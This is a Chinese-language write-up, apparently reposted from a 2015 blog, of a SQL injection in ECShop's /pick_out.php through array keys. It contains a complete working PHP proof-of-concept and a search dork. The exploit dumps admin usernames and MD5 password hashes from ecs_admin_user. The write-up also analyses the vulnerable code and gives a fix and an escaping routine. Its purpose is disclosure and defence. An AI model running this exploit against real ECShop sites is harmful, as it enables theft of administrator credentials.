1. 漏洞描述
在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入
Relevant Link:
http: // bbs.ecshop测试数据/thread-150545-1-1.html
2. 漏洞触发条件
1 . / pick_out.php漏洞未修复 2 . magic_quotes_gpc = Off
0x1: POC
#!/usr/bin/ php
复制代码
<? php
// 本程序只作技术交流,请不要用做非法用途!!
print_r( ‘
+---------------------------------------------------------------------------+
ECShop <= v2. 6.2 SQL injection / admin credentials disclosure exploit
dork: " owered by ECShop "
+---------------------------------------------------------------------------+
‘ );
/* *
* works with magic_quotes_gpc = Off
*/
if ($argc < 3 )
{
print_r( ‘
+---------------------------------------------------------------------------+
Usage: php ‘ .$argv[0]. ‘ host path
host: target server (ip / hostname)
path: path to ecshop
Example:
php ‘ .$argv[0]. ‘ localhost /ecshop/
+---------------------------------------------------------------------------+
‘ );
exit;
}
error_reporting( 7 );
ini_set( ‘ max_execution_time ‘ , 0 );
$host = $argv[ 1 ];
$path = $argv[ 2 ];
$resp = send();
preg_match( ‘ #IN\s\(([\S]+)[a-z0-9]{32})\)# ‘ , $resp, $hash);
if ($hash)
exit( " Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n " );
else
exit( " Exploit Failed!\n " );
function send()
{
global $host, $path;
$cmd = ‘ cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat ‘ ;
$data = " GET " .$path. " pick_out.php? " .$cmd. " HTTP/1.1\r\n " ;
$data . = " Host: $host\r\n " ;
$data . = " Connection: Close\r\n\r\n " ;
$fp = fsockopen($host, 80 );
fputs($fp, $data);
$resp = ‘‘ ;
while ($fp && ! feof($fp))
$resp . = fread($fp, 1024 );
return $resp;
}
?>
3. 漏洞影响范围
4. 漏洞代码分析
/pick_out.php
..
/* 处理属性,获取满足属性的goods_id */
if (!empty($_GET[ ‘ attr ‘ ]))
{
$attr_table = ‘‘ ;
$attr_where = ‘‘ ;
$attr_url = ‘‘ ;
$i = 0 ;
$goods_result = ‘‘ ;
foreach ($_GET[ ‘ attr ‘ ] AS $key => $value)
{
$attr_url . = ‘ &attr[ ‘ . $key . ‘ ]= ‘ . $value;
$attr_picks[] = $key;
if ($i > 0 )
{
if (empty($goods_result))
{
break ;
}
// 利用key进行注射
$goods_result = $db->getCol( " SELECT goods_id FROM " . $ecs->table( " goods_attr " ) . " WHERE goods_id IN ( " . implode( ‘ , ‘ , $goods_result) . " ) AND attr_id=‘$key‘ AND attr_value=‘$value‘ " );
}
else
{
$goods_result = $db->getCol( " SELECT goods_id FROM " . $ecs->table( " goods_attr " ) . " WHERE attr_id=‘$key‘ AND attr_value=‘$value‘ " );
}
$i ++ ;
}
..
5. 防御方法
/pick_out.php
define( ‘ IN_ECS ‘ , true );
require(dirname(__FILE__) . ‘ /includes/init.php ‘ );
$condition = array();
$picks = array();
$cat_id = !empty($_GET[ ‘ cat_id ‘ ]) ? intval($_GET[ ‘ cat_id ‘ ]) : 0 ;
/* */
if (!empty($_GET[ ‘ attr ‘ ]))
{
// 对输入数组进行键值(key、value)规范化处理
foreach ($_GET[ ‘ attr ‘ ] as $key => $value)
{
if (! is_numeric($key))
{
unset($_GET[ ‘ attr ‘ ][$key]);
continue ;
}
$key = intval($key);
$_GET[ ‘ attr ‘ ][$key] = htmlspecialchars($value);
}
}
/* */
Relevant Link:
http: // bbs.ecshop测试数据/thread-86922-1-1.html
6. 攻防思考
GPC自动注册是PHP提供的原生机制,很多CMS为了保证 " 无视用户自身设置 " ,在全局入口代码中采用了 " 自动模拟GPC注册 " 的机制,类似于
/*
foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
foreach($$_request as $_k => $_v)
${$_k} = $_v;
}
*/
但是,在进行模拟GPC本地变量注册的时候,一定要保持安全性的一致性,即要同时模拟执行"magic_quotes_gpc = On"机制,即需要对传入数据的进行[key:value]转义过滤,例如
function _RunMagicQuotes(& $svar)
{
if (! get_magic_quotes_gpc())
{
if ( is_array($svar) )
{
foreach ($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach (Array( ‘ _GET ‘ , ‘ _POST ‘ , ‘ _COOKIE ‘ ) as $_request)
{
foreach ($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
Copyright (c) 2015 LittleHann All rights reserved
ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
标签:
查看更多关于ecshop /pick_out.php SQL Injection Vul By Local Va的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did160679